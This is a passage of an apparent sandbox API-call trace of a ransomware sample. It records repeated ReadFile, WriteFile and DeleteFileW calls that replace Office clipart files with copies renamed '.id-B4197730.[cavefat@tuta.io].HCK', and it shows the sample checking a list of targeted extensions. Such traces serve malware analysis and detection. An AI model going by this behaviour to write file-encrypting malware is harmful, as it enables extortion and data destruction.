hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.407] GetLastError () returned 0x0 [0236.407] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0236.409] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x8a60, lpOverlapped=0x0) returned 1 [0236.410] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.411] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.411] SetEndOfFile (hFile=0x4b0) returned 1 [0236.411] CloseHandle (hObject=0x4b0) returned 1 [0236.411] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.411] SetEndOfFile (hFile=0x3c4) returned 1 [0236.739] CloseHandle (hObject=0x3c4) returned 1 [0236.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".doc") returned 4 [0236.741] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.741] lstrlenW (lpString=".docx") returned 5 [0236.741] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.741] lstrlenW (lpString=".pdf") returned 4 [0236.741] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".xls") returned 4 [0236.741] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".xlsx") returned 5 [0236.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.741] lstrlenW (lpString=".ppt") returned 4 [0236.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".zip") returned 4 [0236.741] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".rar") returned 4 [0236.741] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".bz2") returned 4 [0236.741] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.741] lstrlenW (lpString=".7z") returned 3 [0236.741] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".dbf") returned 4 [0236.741] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".1cd") returned 4 [0236.741] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".jpg") returned 4 [0236.741] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".doc") returned 4 [0236.741] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.741] lstrlenW (lpString=".docx") returned 5 [0236.741] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.741] lstrlenW (lpString=".pdf") returned 4 [0236.741] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".xls") returned 4 [0236.741] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString=".xlsx") returned 5 [0236.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.741] lstrlenW (lpString=".ppt") returned 4 [0236.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.741] lstrlenW (lpString=".zip") returned 4 [0236.741] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.742] lstrlenW (lpString=".rar") returned 4 [0236.742] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.742] lstrlenW (lpString=".bz2") returned 4 [0236.742] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.742] lstrlenW (lpString=".7z") returned 3 [0236.742] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.742] lstrlenW (lpString=".dbf") returned 4 [0236.742] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.742] lstrlenW (lpString=".1cd") returned 4 [0236.742] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0236.742] lstrlenW (lpString=".jpg") returned 4 [0236.742] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.742] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.742] lstrlenW (lpString="J0150150.WMF") returned 12 [0236.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.743] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=46404) returned 1 [0236.743] CloseHandle (hObject=0x3c4) returned 1 [0236.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0236.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.744] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.744] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.744] GetLastError () returned 0x0 [0236.744] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xb544, lpOverlapped=0x0) returned 1 [0236.747] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xb550, lpOverlapped=0x0) returned 1 [0236.748] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.748] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.748] SetEndOfFile (hFile=0x568) returned 1 [0236.748] CloseHandle (hObject=0x568) returned 1 [0236.749] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.749] SetEndOfFile (hFile=0x3c4) returned 1 [0236.751] CloseHandle (hObject=0x3c4) returned 1 [0236.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString=".doc") returned 4 [0236.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString=".docx") returned 5 [0236.753] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0236.753] lstrlenW (lpString=".pdf") returned 4 [0236.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString=".xls") returned 4 [0236.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.753] lstrlenW (lpString=".xlsx") returned 5 [0236.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0236.753] lstrlenW (lpString=".ppt") returned 4 [0236.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString=".zip") returned 4 [0236.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.753] lstrlenW (lpString=".rar") returned 4 [0236.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString=".bz2") returned 4 [0236.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString=".7z") returned 3 [0236.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString=".dbf") returned 4 [0236.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString=".1cd") returned 4 [0236.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.753] lstrlenW (lpString=".jpg") returned 4 [0236.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString=".doc") returned 4 [0236.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString=".docx") returned 5 [0236.754] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0236.754] lstrlenW (lpString=".pdf") returned 4 [0236.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString=".xls") returned 4 [0236.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.754] lstrlenW (lpString=".xlsx") returned 5 [0236.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0236.754] lstrlenW (lpString=".ppt") returned 4 [0236.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString=".zip") returned 4 [0236.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.754] lstrlenW (lpString=".rar") returned 4 [0236.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString=".bz2") returned 4 [0236.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString=".7z") returned 3 [0236.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString=".dbf") returned 4 [0236.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString=".1cd") returned 4 [0236.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0236.754] lstrlenW (lpString=".jpg") returned 4 [0236.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.754] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.754] lstrlenW (lpString="J0150861.WMF") returned 12 [0236.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.755] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8494) returned 1 [0236.755] CloseHandle (hObject=0x3c4) returned 1 [0236.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0236.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.756] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.756] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.757] GetLastError () returned 0x0 [0236.757] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x212e, lpOverlapped=0x0) returned 1 [0236.758] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2130, lpOverlapped=0x0) returned 1 [0236.759] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.759] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.759] SetEndOfFile (hFile=0x568) returned 1 [0236.759] CloseHandle (hObject=0x568) returned 1 [0236.759] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.759] SetEndOfFile (hFile=0x3c4) returned 1 [0236.761] CloseHandle (hObject=0x3c4) returned 1 [0236.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".doc") returned 4 [0236.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".docx") returned 5 [0236.785] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0236.785] lstrlenW (lpString=".pdf") returned 4 [0236.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".xls") returned 4 [0236.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.785] lstrlenW (lpString=".xlsx") returned 5 [0236.785] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0236.785] lstrlenW (lpString=".ppt") returned 4 [0236.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".zip") returned 4 [0236.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.785] lstrlenW (lpString=".rar") returned 4 [0236.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".bz2") returned 4 [0236.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".7z") returned 3 [0236.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".dbf") returned 4 [0236.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".1cd") returned 4 [0236.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".jpg") returned 4 [0236.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.785] lstrlenW (lpString=".doc") returned 4 [0236.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".docx") returned 5 [0236.785] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0236.785] lstrlenW (lpString=".pdf") returned 4 [0236.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.785] lstrlenW (lpString=".xls") returned 4 [0236.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.786] lstrlenW (lpString=".xlsx") returned 5 [0236.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0236.786] lstrlenW (lpString=".ppt") returned 4 [0236.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.786] lstrlenW (lpString=".zip") returned 4 [0236.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.786] lstrlenW (lpString=".rar") returned 4 [0236.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.786] lstrlenW (lpString=".bz2") returned 4 [0236.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.786] lstrlenW (lpString=".7z") returned 3 [0236.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.786] lstrlenW (lpString=".dbf") returned 4 [0236.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.786] lstrlenW (lpString=".1cd") returned 4 [0236.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0236.786] lstrlenW (lpString=".jpg") returned 4 [0236.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.786] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.786] lstrlenW (lpString="J0151041.WMF") returned 12 [0236.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.788] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4356) returned 1 [0236.788] CloseHandle (hObject=0x3c4) returned 1 [0236.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220 [0236.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.788] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.788] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 